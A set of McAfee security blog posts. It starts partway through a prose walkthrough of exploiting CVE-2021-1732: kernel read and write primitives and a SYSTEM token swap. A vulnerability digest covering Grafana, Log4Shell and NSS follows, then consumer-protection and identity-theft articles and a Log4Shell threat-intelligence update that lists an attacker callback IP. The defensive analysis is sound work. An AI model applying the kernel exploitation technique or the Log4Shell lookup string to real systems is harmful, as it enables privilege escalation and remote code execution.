Figure 12 below shows that tagWND. ExtraBytes is initialized to the new offset value in the kernel desktop heap within xxxConsoleControl during console window creation. RedirectFieldpExtraBytes simply checks this initialized value to determine if the window type has changed. In addition, Microsoft have also added telemetry for detecting changes to the window type flag in the patched version.

Figure 12 – tagWND. ExtraBytes initialization for console window

tagWND OOB Write

The vulnerability within the xxxCreateWindowEx API allowed the WND_Malicious.ExtraBytes field be to set to a value of WND0 offset within the kernel desktop heap. Now any time SetWindowLongW is called on WND_Malicious it will write to WND0. By supplying an offset of 0xc8, the function will overwrite the WND0.cbWndExtra field to a large value of 0XFFFFFFF per figures 13 and 14 below.

This means it can write beyond its tagWND structure and ExtraBytes in kernel memory to fields within WND1. In addition, WND0.ExtraBytes is also overwritten with the offset to itself so calls to SetWindowLongPtrA on WND0 will write to an offset in kernel desktop heap relative to the start of WND0.

Figure 13 – OOB Write from WND_Malicious to WND0
Figure 14 – WND0 cbWndExtra overwritten with 0xFFFFFFF by WND_Malicious OOB write

Kernel Address Leak

Now that the WND0.cbWndExtra field has been set to a very large value (0xFFFFFFF), anytime SetWindowLongPtrA is called on WND0 it will write into the adjacent WND1 in kernel memory per figure 15 below. By writing to specific fields in WND1 we can create a kernel address memory leak as follows:

  1. Write a value of 0x400000000000000 to WND1 style field to temporarily change it to a child window per figures 15 and 16 below.
  2. Calling SetWindowLongPtrA API on WND0 with a value of -12 (GWLP_ID) now allows the spmenu field (type tagMENU) of WND1 to be overwritten with a fake spmenu data structure since we have changed it to be a child window per figure 15 and 17 below.
  3. Per SetWindowLongPtrA API documentation, the return value will give us the original value at the offset overwritten, i.e., the spmenu data structure pointer which is a kernel memory address. So, we now have leaked a pointer to a spmenu (type tagMENU) data structure in kernel memory and replaced the pointer in WND1.spmenu with a fake spmenu data structure within user desktop heap per figure 17 below.
Figure 15 – OOB Write from WND0 to WND1 to Leak Kernel Address
Figure 16 – WND1 Style field before and after writing 0x4000000000000000
Figure 17 – spmenu kernel memory address pointer leaked and subsequently replaced by a user mode address pointing to a fake spmenu data structure

Kernel Arbitrary Read

Using the spmenu data structure kernel pointer leaked previously we can use the layout of this data structure and the GetMenuBarInfo API logic to turn it into an arbitrary kernel memory read per figures 18,19 and 20 below.

Figure 18 – Kernel Arbitrary Read using fake spmenu and GetMenuBarInfo
Figure 19 – Fake spmenu data structure in user desktop heap with original spmenu leaked kernel pointer at crafted location to enable arbitrary read using GetMenuBarInfo API
Figure 20 – WinDbg command to show location within spmneu data structure that is deferenced by xxGetMenuBarInfo

As you can see from the xxxGetMenuBarInfo function in figures 21 and 22 below, by placing our leaked kernel address at the right location in our fake spmenu data structure we can create an arbitrary kernel memory read when calling GetMenuBarInfo.

Figure 21 – win32kfull!xxxGetMenuBarInfo
Figure 22 – GetMenuBarInfo data structure populated return values per normal spmenu and fake spmenu (leaks kernel address)

Kernel Arbitrary Write

An arbitrary kernel write primitive can be easily achieved now by writing our destination address to WND1.ExtraBytes field by calling SetWindowLongPtrA on WND0 which will write OOB to WND1 relative to the offset we specify per figure 23 below

In this case the offset is 0x128 which is ExtraBytes. Then simply calling SetWindowLongPtrA on WND1 will write a specified value at the address placed in the WND1.ExtraBytes field. The arbitrary write is achieved because WND1 is a normal window (has not been converted to a console window like WND0 and WND_Malicious) and so will write to whatever address we place in WND1.ExtraBytes.

Figure 23– Kernel Arbitrary Write for What-Write-Where (WWW)

Data Only Attack

The arbitrary kernel read and write primitives can be combined to perform a data-only attack to overwrite a malicious process EPROCESS token with that of PID 4 which is System for an escalation of privilege (EoP).

The original spmenu kernel address leaked previously has a pointer to WND1 at offset 0x50 per figures 24 and 25 below. Through multiple arbitrary reads using the GetMenuBarInfo on our fake spmenu data structure with this WND1 kernel address we can eventually read the PID 4 System EPROCESS token.

Figure 24 – Combining fake spmenu with GetMenuBarInfo arbitrary read to get PID 4 token
Figure 25– Original spmenu with WND1 kernel address pointer at offset 0x50

By placing the destination address (malicious process EPROCESS token) at WND1.ExtraBytes then the subsequent call to SetWindowLongPtrA will write the value (PID 4 – System EPROCESS token) to that address per figures 26 and 27 below.

Figure 26 – EPROCESS Token swap
Figure 27 – Overwriting WND1.ExtraBytes with address of EPROCESS token

The exploit then restores overwritten data structure values once the EoP is complete to prevent a BSOD (Blue Screen of Death).

Conclusion

In this report, we undertook a deep analysis of CVE-2021-1732 which is a Local Privilege Escalation on Windows 10. Windows kernel data-only attacks are difficult to defend against, as once a vulnerability is discovered they use legitimate and trusted code through specific APIs to manipulate data structures in kernel memory.

The win32k component has been hardened through great work by Microsoft against read/write primitives, but there are still opportunities for exploitation due to its large attack surface (syscalls and callbacks) and lack of win32k filtering on a process-wide basis. It would also be great to see a system wide win32k filtering policy capability within Windows 10.

Patching is always the best solution for vulnerabilities, but a strong defense strategy such as threat hunting is also required where patching may not be possible, and to detect variants of vulnerabilities/exploits being used by campaigns.

The post Technical Analysis of CVE-2021-1732 appeared first on McAfee Blog.

The Bug Report – December 2021

By Philippe Laulheret

Your Cybersecurity Comic Relief 

Why am I here? 

If you’re reading these words, CONGRATULATIONS! You’ve made it to 2022! And even better, you found your way to ATR’s monthly security digest where we discuss our favorite vulnerabilities of the last 30 days. Feel free to pat yourself on the back, get yourself a nice cup of coffee, tea, LaCroix (you fancy!) or if you’d rather choose violence, you can go straight for the energy drink. And now that we are comfortable and energized, let’s get rolling!  

CVE-2021-43798: Grafana path traversal

What is it? 

Per its Wikipedia entry, Grafana is a multi-platform open-source analytics and interactive visualization web application that is widely used in the industry, with paying customers such as Bloomberg, eBay, PayPal, etc. It was revealed in early December that a path traversal vulnerability allowed an attacker to access local files due to an improper sanitization of “../../../” in its plugin path.  

It also showcases one of the tightest disclosure timelines known to man:  

Who cares? 

Ok, we can hardly blame you for hearing about ANY vulnerabilities except for Log4Shell in the last 30 days.  However, if your organization is using this software, you probably should have followed the disclosure last month, lest your “/etc/passwd” files are now known to the whole internet. Beyond that, there are two interesting points you can ponder while swirling your eggnog in its glass (side-rant on the disgustingness of eggnog redacted). Given how easy it is to exploit, the mere fact of the vendor fixing the bug via their public GitHub seems to have been enough to bring attention to it and get public working POCs for this vulnerability in less than 3 days following the fix. If you’re curious about how more mature open-source code bases deal with this risk, projects like Chromium rely on a separate bug tracking infrastructure that can restrict who can access the bug reports (that will spell out the security risks and test cases) combined with public commit messages with simple phrasing meant to avoid attracting the attention on the security commits.  

Another interesting tidbit, the root cause of this bug is the misuse of a Go API to sanitize paths as discussed in this Twitter thread. It turns out the filepath.Clean function used to sanitize the input processed by the vulnerable code only removes excessive “../../” if the path is absolute. This is a common case of an API behaving as expected but leading to dangerous consequences. Do you know for sure the codebase of your organization is free of these problems? The impact of unpatched vulnerabilities here could be the accessing or leaking of extremely sensitive data.  *pondering becomes frantic*  

What can I do? 

Obviously update the software if you’re using it, and you can also use Sigma rules to detect attack attempts. In an ideal world, your analytics platform should not be exposed to the wide internetunlike these 87k instances, among whose 16k are still vulnerable according to Shodan. At minimum make sure your Grafana instance is behind a .htaccess prompt or similar. From a development perspective, security testing and unit tests should be leveraged to ensure the filtering you are putting in place is working the way it is intended to. And in the grand scheme of things, if you are going to process untrusted user input, don’t wing the filtering and apply thoroughly audited code patterns rather than disabling the warnings of your security tool…  

 

The Gold standard 

Does the walker choose the path, or the path the walker?” may have mused Garth Nix in his novel Sabriel. One thing is certain though, the path described above won’t be “walked” nor traversed by an attacker for the McAfee Network Security Platform (NSP) customers. These lucky fellows are already protected against path traversal attacks via a generic rule and can even be bestowed further protection with the creation of “custom attack” rules.  

CVE 2021-44228: Log4Shell 

What is it? 

Who could have known that parsing—and sometimes even executing—untrusted input was a bad idea™? Well it turns out that Apache’s log4j logging code does exactly that, and if the logged string contains the magic characters $(jdni:…) it may even fetch and execute untrusted Java code. Iterations on this attack have also highlighted the possibility to leak local secrets stored in environment variables—such as AWS keys—and given the recursiveness of the processing, it also offers many ways to evade pattern-matching detection. 

Who cares? 

Pretty much everyone. You write Java and are into logging things? Yep, you should be on top of this. You use Java based applications/servlets? Well, there’s probably some logging of untrusted user input in there. Your corporate employer uses Java based appliances or services? Pour one for your SOC and IT folks who are probably having a blast over their holiday “break”. You get it, this problem impacts the whole industry, and in all likelihood, its effects will probably keep rippling out for the years to come. To make things worse, the bug is really easy to exploit. From pen testers to SOC analysts, “script-kiddies” to nation state actors, nearly everyone has begun to explore this attack vector and we have observed massive on-going attacks with a wide gamut of payloads, ranging from cryptominers to “rm -rf /* payloads and even a broken attempt to spread the Mirai worm. The worst is likely yet to come.  

What can I do? 

“Stranger Things” taught us that “You can’t spell America without Erica.” Similarly, you can’t spell Apache without Patch. Sort of.  Upgrade! Micro-patch. Monitor traffic. Hint: if you’re internal-only application suddenly makes LDAP requests towards a remote server in a country you have no operations in, maybe something fishy is going on…  

If you like chaos and and/or you are having a hard time convincing IT of the importance of this bug, get permission to demonstrate it for them! Then, set strings you can control (user-agent, twitter name, wifi SSID, …) to this $(jdni:ldap…) magic value and make it point to an IP:Port you control (or a third party service like Canarytoken if you trust them). If you detect hits on that address, you can start having a fun conversation about the necessity of upgrading their tech stack with the owners of the incoming addresses. This is where asking for permission first becomes extremely important, as if you indiscriminately put the magic string all over the places to see what happens (as you may have seen on various social media platforms), it’s likely that eventually someone will reach out to have a “fun” conversation with you and ask about that funky user-agent of yours. Obviously, before pulling a stunt like this consider that the last thing you want for Christmas is a CFAA (Computer Fraud and Abuse Act) complaint delivered right to your doorstep.  

The Gold standard 

McAfee Enterprise customers are protected from many different angles (for the specifics, please visit this Knowledge Base article):  

  • Expert Rules on Endpoint Security (ENS) can pick-up dangerous patterns in memory as described in this blog 
  • Endpoint Security (ENS), VirusScan Enterprise (VSE), McAfee Web Gateway (MWG) can provide generic detection under the tile Exploit-CVE-2021-44228.C via a “Potentially Unwanted Software” detection. This detection is also augmented by a list of hashes of samples related to in-the-wild campaigns exploiting this vulnerability.   
  • Network Security Platform (NSP) can also detect the attack via User-Defined signature (provided in the KB article linked previously) 
  • MVISION Endpoint Detection and Response (EDR), McAfee Active Response (MAR) can also be used to look for vulnerable systems with Real-Time Search (RTS) queries 
  • McAfee SIEM got an update (Exploit Content Pack version 4.1.0) that will raise an alarm on potential exploit attempts. MVISION Insights is also providing valuable information under the Threat Campaign “Log4Shell – A Log4j Vulnerability – CVE-2021-44228”. See Insight Preview. 

CVE-2021-43527: Big Sig 

What is it? 

Big Sig sounds like the nickname Freud’s mother gave him. This bug is no less compelling. Early this December, Google Project Zero blogged about a vulnerability they found in Mozilla’s Network Security Services (NSS) with a CVSS score of 9.8, according to NIST’s National vulnerability database page. There is a heap overflow in the processing of certain signatures (DER-encoded DSA and RSA-PSS signatures). To put it simply, the NSS is a collection of cryptographic libraries that enable developers to use safer/heavily tested implementations of cryptographic primitives and standards (for encryption of communication, verification of the authenticity of data, and so on). The feature where the bug was found is responsible for the verification of signatures that prove the authenticity of data using various public cryptography schemes. This type of function is typically used to sign emails or documents to confirm their actual authors. Something really interesting about this bug is its relative simplicity but also its long existence; according to Project Zero’s blog, this bug was exploitable going all the back to 2012. The vulnerable code path just happened to fall between the cracks where various fuzzers used by Mozilla overlap. 

Who cares? 

If you like your signatures to be verified, and rely on the NSS library to do so, you should definitely have a look at the advisory and use the latest version of the software (NSS version 3.73/3.681 ESR or later). Firefox seems unaffected, but other software that parses signatures might be impacted (Thunderbird, LibreOffice, Evolution, Evince and more).  

What can I do? 

As usual, you want to make sure any software you are using that might be vulnerable is updated to its latest version. The patch was released on December 1st so, for starters, you’d want to make sure potential vulnerable software received an update after this date. It would also help to know which software relies on this library; while there is no magic bullet, references to files such as nss3.dll on Windows or libnss3.so on Linux are a good starting point. Beyond that, the best call is to look at release notes and potential list of third-party libraries used in any given application you may use. If you use the vulnerable library in in your own product, update the code or backport the patch. 

The Gold standard 

Have you checked out our bulletins? They’re a great source of information for the critical vulnerabilities you may have missed! This may include applications that will be deploying fixes for CVE-2021-43527. 

The post The Bug Report – December 2021 appeared first on McAfee Blog.

Welcome McAfee Forward—the Future of Online Protection Today

By McAfee

With digital life-changing so rapidly, it’s time for a new way to protect it. Welcome to McAfee Forward—the future of online protection today. 

As all that change reshapes how we spend our time online, we believe that one thing remains constant: meaningful protection is a personal right. Your right. That’s how we see it here at McAfee, and we want you to go forward and enjoy your digital life with confidence. Confident that you’re safe as you bank and shop online, sure. Yet also confident as you consult your doctor online, track your fitness routines, order a pizza with the sound of your voice, start your car with your smartphone, and simply do what’s next—the umpteen other innovations yet imagined, all thanks to the internet.  

So what does the future of online protection look like? You. While different technologies may come and go, the one thing that won’t change is you. The person using them. That’s why our focus is on you, your privacy, identity, and overall security, no matter what device, app, or platform you’re doing or what you’re doing it on. 

No doubt about it, life online will continue to change how we go about our day in lively and unexpected ways. You have a right to enjoy it all. And you can leave that to us. We thrive on what’s new and different—and then protecting it so you can get the most out of it.  

That future of online protection is indeed here today. We’ve already rolled out major updates and industry firsts that look out for you online, particularly your privacy and identity. There’s much more to come in the weeks and months ahead. Because you have a right to a life that’s always safe and enjoyable online, whatever shape it takes in the days to come.  

Here’s to living that life with confidence, and to what’s on the horizon. Through it all, we have your back. 

The post Welcome McAfee Forward—the Future of Online Protection Today appeared first on McAfee Blog.

What to Do If You’re Caught Up in a Data Breach

By McAfee

It happens with more regularity than any of us like to see. There’s either a headline in your news feed or an email from a website or service you have an account with—there’s been a data breach. So what do you do when you find out that you and your information may have been caught up in a data breach? While it can feel like things are out of your hands, there are actually several things you can do to protect yourself. 

Let’s start with a look at what kind of information may be at stake and why crooks value that information so much (it’s more reasons than you may think). 

What can get exposed in a data breach?  

The fact is that plenty of our information is out there on the internet, simply because we go about so much of our day online, whether that involves shopping, banking, getting results from our doctors, or simply hopping online to play a game once in a while.  

Naturally, that means the data in any given breach will vary from service to service and platform to platform involved. Certainly, a gaming service will certainly have different information about you than your insurance company. Yet broadly speaking, there’s a broad range of information about you stored in various places, which could include:  

  • Username and password 
  • E-mail address 
  • Phone numbers and home address 
  • Contact information of friends and family 
  • Date of birth 
  • Driver’s license number 
  • Credit card and debit card numbers, bank account details 
  • Purchase history and account behavior history 
  • Patient information (in the case of healthcare breaches) 
  • Social Security Number or Tax ID Number 

As to what gets exposed and when you might find out about it, that can vary greatly as well. One industry research report found that 60% of breaches were discovered in just days from the initial attack while others could take months or even longer to detect. Needless to say, the timeline can get rather stretched before word reaches you, which is a good reason to change your passwords regularly should any of them get swept up in a breach. (An outdated password does a hacker no good—more on that in a bit.) 

What do crooks do with this kind of information? 

The answer is plenty. In all, personal information like that listed above has a dollar value to it. In a way, your data and information are a kind of currency because they’re tied to everything from your bank accounts, investments, insurance payments—even tax returns and personal identification like driver’s licenses.  

With this information in hand, a crook can commit several types of identity crime—ranging from fraud to theft. In the case of fraud, that could include running up a bill on one of your credits cards or draining one of your bank accounts. In the case of theft, that could see crooks impersonate you so they can open new accounts or services in your name. Beyond that, they may attempt to claim your tax refund or potentially get ID issued in your name as well. 

Another possibility is that a hacker will simply sell that information on the dark marketplace, perhaps in large clumps or as individual pieces of information that go for a few dollars each. However it gets sold, these dark-market practices allow other fraudsters and thieves to take advantage of your identity for financial or other gains.  

Most breaches are financially motivated, with some researchers saying nearly 90% of breaches are about the money. However, we’ve also seen hackers simply dump stolen information out there for practically anyone to see. The motivations behind them vary, yet could involve anything from damaging the reputation of an organization to cases of revenge.   

Noteworthy examples of data breaches 

A list of big data breaches is a blog article of its own, yet here’s a quick list of some of the largest and most impactful breaches we’ve seen in recent years: 

  • Facebook – 2019: Two datasets leaked the records of more than 530 million users, including phone numbers, account names, Facebook IDs, and more. 
  • Marriott International (Starwood) – 2018. Leakage of 500,000 guest names, emails, actual mailing addresses, phone numbers, passport numbers, Starwood Preferred Guest account information, date of birth, and information about stays. 
  • Equifax – 2017. Approximately 147 million records, including name, address, date of birth, driver’s license numbers, and Social Security Numbers were leaked, as well as credit card information for a further 200,000 victims. 

Needless to say, it’s not just the big companies that get hit. Healthcare facilities have seen their data breached, along with the operations of popular restaurants. Small businesses find themselves in the crosshairs as well, with one report stating that 43% of data leaks target small businesses. Those may come by way of an attack on where those businesses store their records, a disgruntled employee, or by way of a compromised point-of-sale terminal in their store, office, or location. 

In short, when it comes to data breaches, practically any business is a potential target because practically every business is online in some form or fashion. Even if it’s by way of a simple point-of-sale machine. 

What to do if you think your information may have been exposed by a breach 

When a business, service, or organization falls victim to a breach, it doesn’t always mean that you’re automatically a victim too. Your information may not have been caught up in it. However, it’s best to act as if it was. With that, we strongly suggest you take these immediate steps. 

1. Change your passwords and use two-factor authentication 

Given the possibility that your password may be in the hands of a hacker, change it right away. Strong, unique passwords offer one of your best defenses against hackers. Update them regularly as well. As mentioned above, this can protect you in the event a breach occurs and you don’t find out about it until well after it’s happened. You can spare yourself the upkeep that involves a password manager that can keep on top of it all for you. If your account offers two-factor authentication as part of the login process, make use of it as it adds another layer of security that makes hacking tougher.  

2. Keep an eye on your accounts 

If you spot unusual or unfamiliar charges or transactions in your account, bank, or debit card statements, follow up immediately. That could indicate improper use. In general, banks, credit card companies, and many businesses have countermeasures to deal with fraud, along with customer support teams that can help you file a claim if needed. 

3. Sign up for an identity protection service 

If you haven’t done so already, consider signing up for a service that can monitor dozens of types of personal information and then alert you if any of them are possibly being misused. Identity protection such as ours gives you the added benefit of a professional recovery specialist who can assist with restoring your affairs in the wake of fraud or theft, plus up to $1 million in insurance coverage 

What if I think I’m the victim of identity theft? 

Our advice is to take a deep breath and get to work. By acting quickly, you can potentially minimize and even prevent any damage that’s done. With that, we have two articles that can help guide the way if you think you’re the victim of identity theft, each featuring a series of straightforward steps you can take to set matters right: 

Again, if you have any concerns. Take action. The first steps take only minutes. Even if the result is that you find out all’s well, you’ll have that assurance and you’ll have it rather quickly. 

The post What to Do If You’re Caught Up in a Data Breach appeared first on McAfee Blog.

The Internet is for Everyone to Enjoy—We’re Helping See to It

By McAfee

The internet is meant for all to enjoy. And that’s who we’re looking out for—you and everyone who wants to enjoy life online. 

We believe it’s important that someone has your back like that, particularly where some of today’s hacks and attacks can leave people feeling a little uneasy from time to time. You’ve probably seen stories about data breaches at big companies pop up in your news feed. Or perhaps you or someone you know had their debit or credit card number hacked. Problems like these are out there, unfortunate thorns in the side of the internet we’ve come to love. Yet while these issues persist, there’s plenty you can do to avoid them. 

That’s where we have your back—doing all we can to make life online enjoyable for everyone, with protection that helps people finally feel safe and stay that way. 

The reality is that nobody wants to deal with hackers, malware, and other attacks crop up on the internet. And while it’s important to be aware of those things, we’d rather that you didn’t have to worry about them. Protection should come easy. Whether it’s keeping your banking, shopping, and streaming secure, along with your privacy and personal info too, protection should feel simple and tailored to you. That’s what we strive for. 

So as you think about protecting your life online, take a moment to consider what you’re protecting. As you do, you’ll see that it means far more than protecting your computers, phones, and other devices. Ultimately, it’s about protecting you, and all the important things connected to you. You can think of it in three ways … 

1) Protect what’s precious  

What’s among the top things people say they want to protect? Their photos. Not far behind photos are all manner of digital treasures that people like to keep close, which ranges anywhere from music they’ve downloaded to old voicemails of their children, nieces, and nephews that they’ve saved over the years. Without a doubt, we have plenty of things stored on our computers and phones that we simply couldn’t do without. 

Protecting these things means protecting the devices you use to store and access them. Installing comprehensive online protection software like ours is the first step. In addition to award-winning antivirus software and firewall protection to help keep hackers at bay (and away from your photos and other precious files), it goes a step further.  

Our new Online Protection Score shows you just how safe you are and guides you through simple steps that can seal up gaps and improve your protection overall. In all, it’s a personalized and simple way to make sure you’re protected as possible and continually make improvements as they’re needed. It’s a way of getting expert protection without being an expert. 

2) Protect what’s vital 

There’s also the “Important Stuff” in life, like our financial records, tax returns, and all the banking that we do on our phones and computers. And let’s throw shopping into mix because shopping’s important too! You can protect the important things like this, which can help hackers out of your business. 

For starters, you can protect your important files three ways with our online protection by using a combination of the McAfee® File Lock and Shredder™ features to manage your privacy:  

  • McAfee File Lock allows you to create password-protected encrypted drives on your PC that only appear when you’ve unlocked them, perfect for storing sensitive files like tax returns and financial documents.  
  • And when you’re looking to dispose of sensitive files, McAfee Shredder securely deletes files so that would-be thieves can’t put the pieces back together. 

You can lock down your privacy even further with a VPN that can shield you automatically from snooping attacks online, whether at home or when using public Wi-Fi. It creates an encrypted connection that works like a private tunnel that hides your IP address and the things you’re doing online from cybercrooks. It’s ideal for keeping your sensitive personal information like your financial data, passwords, and browsing history hidden from both hackers and websites. 

And here’s another big help. A password manager. You likely have dozens of passwords, plus a few more that you’ve probably forgotten about. You can protect your passwords and the accounts associated with them with a password manager that creates and securely stores a strong, unique password for each of your accounts. Plus, you can use it to update those passwords on the regular. Few things make it tougher for hackers than strong, unique passwords that get changed often. In a time of data breaches and account theft, a password manager is a great call. 

3) Protect yourself (and your people) 

While it’s important to focus on protecting things like laptops, phones, photos, files, and data, you’re ultimately protecting something far greater You. Your privacy, your personal information, your accounts, all the things that taken together make you—you. The thing is that our lives are more fluid and mobile than ever before. One moment we’re banking on our laptop, the next we’re splitting the cost of dinner with a payment on our phone. The constant here is you. You’re at the center of all this activity regardless of the device you’re using. The same goes for your family and the people you care about.  

That’s why we protect people, not just their devices.  

McAfee Identity Protection Service monitors the dark web for your personal info such as emails and associated passwords, up to 60 different types of critical info. If we detect that your data was stolen, you’ll get immediate alerts on the devices of your choice and guidance on how to secure your info quickly and effectively. In all, you can keep tabs on your identity any time you’re connected to the internet, and if an issue crops up you can click, solve, and carry on. ​ ​ 

Extended identity protection offers up the extra comfort of knowing that you have licensed recovery pros on the case if identity theft does happen to you. This includes monitoring and restoration services, along with identity theft insurance for lawyer fees, travel expenses, lost wages, and more. 

Protection that runs deep 

While that’s just a few of the ways McAfee has your back, we hope it gives you a good sense of what online protection should do—how it should protect you and all the things connected to you. And on today’s internet, that’s quite a bit. There’s so much to experience online today, and we believe you should enjoy all of it, freely and with the confidence that comes from knowing you’re safe. 

The post The Internet is for Everyone to Enjoy—We’re Helping See to It appeared first on McAfee Blog.

What’s the Difference Between Identity Fraud and Identity Theft?

By Natalie Maxfield

What’s the difference between identity fraud and identity theft? Well, it’s subtle, so much so that it’s easy to use them nearly interchangeably. While both can take a bite out of your wallet, they are different—and knowing the differences can help you know understand what’s at stake. 

Let’s start with an overview and a few examples of each. 

Identity fraud is … 

  • When someone steals or misuses your personal information to exploit an account or accounts you already have.  
  • Examples:  
  • A criminal gets a hold of your debit card information from a data breach and makes purchases with it against your bank account. 
  • A criminal gains access to one of your accounts via a phishing attack and misuse the funds or otherwise misuses the access associated with that account. 

Identity theft is … 

  • When someone uses your personal information to open and abuse new accounts or services in your name—or possibly to impersonate you in other ways. 
  • Examples: 
    • A criminal uses your personal information to open a new line of credit at a retailer under your name and then makes purchases against the line of credit.  
    • A criminal uses your Social Security Number to create a driver’s license with their likeness but your name and personal information. 

So there’s that subtle difference we mentioned. Identity fraud involves misuse of an existing account. Identity theft means the theft of your personal information, which is then used to impersonate you in some way, such as opening new accounts in your name. 

Above and beyond those definitions and examples, a couple of real-life examples put the differences in perspective as well. 

Identity fraud in the news 

As for identity fraud, individual cases of fraud don’t always make the headlines, but that’s not to say you won’t hear about it a couple of different ways.  

The first way may be news stories about data breaches, where hackers gain things like names, emails, and payment information from companies or organizations. (ChipotleRobinHood, and T-Mobile being recent examples.) That info can then end up in the hands of a fraudster, who then accesses those accounts to drain funds or make purchases.  

On a smaller scale, you may know someone who has had to get a new credit or debit card because theirs was compromised, perhaps by a breach or by mistakenly making a payment through an insecure website or by visiting a phony login page as part of a phishing attack. These can lead to fraud as well. 

Identity theft in the news 

Identity theft took on new forms during the pandemic, such as was the case of a Rhode Island man charged with nearly half a million dollars in a pandemic unemployment fraud case. Authorities allege that the man-made 85 unemployment claims in 2020 using the identities of several other people.  

Similarly, a Massachusetts man was sentenced for filing fraudulent claims for relief funds, as well as open store credit accounts using fake identities. Court proceedings alleged that the personal information used to commit this fraud came from several sources, including information stolen from a realty company that collected that information from potential renters.  

Identity theft can stem from the workplace as well, such as the sentencing of a Maryland man who used stolen lists of personal information from his former employer. From there, he was found guilty of garnering more than a million dollars in funds from food assistance programs and fraudulent car loans.  

Identity theft can run far deeper than these examples. Because it effectively allows someone else to pose as you, an identity thief can do more than drain your accounts. They can also claim health insurance benefits, file taxes in your name, or possibly purchase the property. Further, an identity thief can potentially get a job, driver’s license, or other forms of ID in your name, which could ruin your credit history, reputation, or even create a police record in your name.  

So while both identity fraud and identity theft are certainly something you want to prevent, identity theft holds the potential to affect far-reaching aspects of your life—which marks a distinct difference between the two. 

Spotting identity fraud and theft (and preventing it too) 

It usually starts with someone saying anything from, “That’s strange …” to “Oh, no!” There’ll be a strange charge on your credit card bill, a piece of mail from a bill collector, or a statement from an account you never opened—just to name a few things. 

With that, I have a few recent blogs that help you spot all kinds of identity crime, along with advice to help keep it from happening to you in the first place: 

Keep a sharp eye out 

While there are differences between identity fraud and identity theft, they do share a couple of things in common: you can take steps to prevent them, and you can take steps to limit their impact should you find yourself faced with one or the other.  

The articles called out above will give you the details, yet staying safe begins with vigilance. Check on your accounts and credit reports regularly and really scrutinize what’s happening in them. Consider covering yourself with an —and act on anything that looks strange or outright fishy by reporting it to the company or institution in question.  

The post What’s the Difference Between Identity Fraud and Identity Theft? appeared first on McAfee Blog.

Threat Intelligence and Protections Update Log4Shell CVE-2021-44228

By Mo Cashman

Threat Summary

Log4j/Log4shell is a remote code execution vulnerability (RCE) in Apache software allowing attackers unauthenticated access into the remote system. It is found in a heavily utilized java open-source logging framework known as log4j. The framework is widely used across millions of enterprise applications and therefore a lucrative target for threat actors to exploit. The availability of the POC exploit and ease of exploitation triggered the widespread exploitation attempts that we are now witnessing.

CVE-2021-44228 – Apache Releases Log4j Version 2.15.0 to Address Critical RCE Vulnerability Under Exploitation.

Should the vulnerability be present, an attacker might run arbitrary code by forcing the application or server to log a specific string. This string can force the vulnerable system to download and run a malicious script from the attacker-controlled system, which would allow them to effectively take over the vulnerable application or server.

A full technical analysis can be found here:

McAfee Advanced Threat Research: Log4Shell Vulnerability is the Coal in our Stocking for 2021

In this blog, we present an overview of how you can mitigate the risk of this vulnerability exploitation with McAfee Enterprise solutions. Due to the severity of this vulnerability and the observed exploitation attempts already taking place, the KB article linked below will be continually updated to communicate detailed actions to mitigate risk with McAfee Enterprise products. Subscribe to this KB article to receive updates pertaining to related coverage and countermeasures.

KB95091: McAfee Enterprise coverage for Apache Log4j CVE-2021-44228 Remote Code Execution

Attack Chain and Defensive Architecture

Organisations preparing to defend against this threat needs to think beyond the initial access vector. What the vulnerability allows a threat actor to do is initially only connect to a remote endpoint and establish a beachhead. The attacker only gets a return on investment when they can exploit that initial foothold either to move laterally, execute additional payloads on the endpoint or attack other organisations as part of a botnet. Instead of just focusing on the initial access vector, let’s look at the entire defensive kill chain.

The impact on organisations varies between resource takeover, denial of service or data theft. Therefore, making visibility in attack patterns and trend via threat intelligence extremely critical. In addition, other attack vectors have been discovered which allows for local exploitation of the log4j library over WebSocket.

Let’s walk through the defense lifecycle in more details

Getting the Latest Threat Intelligence

Threat Intelligence is critical to adapt security controls and gain an understanding of attacker techniques and active campaigns exploiting the vulnerability

 

The MVISION Insights platform reports threat intelligence related to the Log4j attacks under the campaign name Log4Shell – A Log4j Vulnerability – CVE-2021-44228.

The Global Prevalence map snapshots captured on the 10th and 16th December 2021 demonstrates how impactful has being the vulnerability so far and how fast activity, both defender and attack, is increasing and spreading worldwide.

MITRE Techniques Observed:

  • Exploit Public-Facing Application – T1190 (Initial Access)
  • Exploitation of Remote Services – T1210 (Lateral Movement)
  • External Remote Services – T1133 (Initial Access, Persistence)
  • Resource Hijacking – T1496 (impact)
  • Web Shell – T1505.003 (Persistence)

As we are writing this blog, on MVISION Insights there are 1,813 IOCs including MD5, SHA256, URL, IP, DOMAIN, HOSTNAME. In terms of Determinism, 1,632 are unique and 30 are commodity.

The top MD5 detected so far has been related to Kinsing (MD5: 648effa354b3cbaad87b45f48d59c616), a crypto miner with backdooring features. The file runs on Linux machines and has been uploaded on Virus Total for the first time in December 2020.  Its detection increased by 161% between the 11th and the 15th of December 2021 and it is currently observed in 19 different countries. The log4j vulnerability is helping threat actors to push Kinsing malware via encoded payloads to vulnerable services exposed to the internet. And this is just the tip of the iceberg. We are actively monitoring for and analyzing new payloads.

The same unique indicator is also reported as part of other two threat campaign on MVISION Insights:

  • Kinsing Malware Adds Windows to Its Target List
  • Misconfigured Apache Hadoop YARN Exploited

Since April 2020, when the Kinsing crypto miner was discovered, further developments of the malware have occurred including a rootkit component and other features that make detection harder. Kinsing comes with multiple shell scripts that download and install the backdoor, miner, and rootkit alter the system itself.

The IP address 45.155.205[.]233 included within the MVISION Insights IOCs and used by threat actor as a log4j callback attack server has been detected 6,884 times by December 4th topping 15,106 detections by December 7th. Most detected countries included the United States, Turkey, Thailand, UK, Taiwan, and Italy.

MVISION Insights also includes indicators related to unique variants of MIRAI botnet that McAfee observed being leveraged by threat actors to exploit the log4j vulnerability.

Shell scripts are using wget and curl tools for external communication as part of the attack chains analyzed.

Latest updates highlighted Conti ransomware group actively leveraging the Log4Shell exploit to gain access to internal corporate resources and lunch their malicious payloads. But also, Khonsari group and state sponsored APT35 have been reported by researchers.

Determining your Asset Exposure

In this case, you should detect and prioritise internet facing applications running java-based web servers such as Apache Tomcat, either isolate or patch these resources. Run vulnerability scans for both monolithic and containerized workloads to build an inventory of assets that might be impacted.

MVISION Cloud

Continuously discovers your cloud resources and can run vulnerability scans for Virtual Machines and Containerized workloads in the cloud. MVISION Cloud has the ability to build an inventory of running processes within workloads as part of it application control capabilities. If log4j is used as a separate package we will detect the vulnerability in both runtime and container registry. If the log4j is included in the java binary we will not be able to scan it.

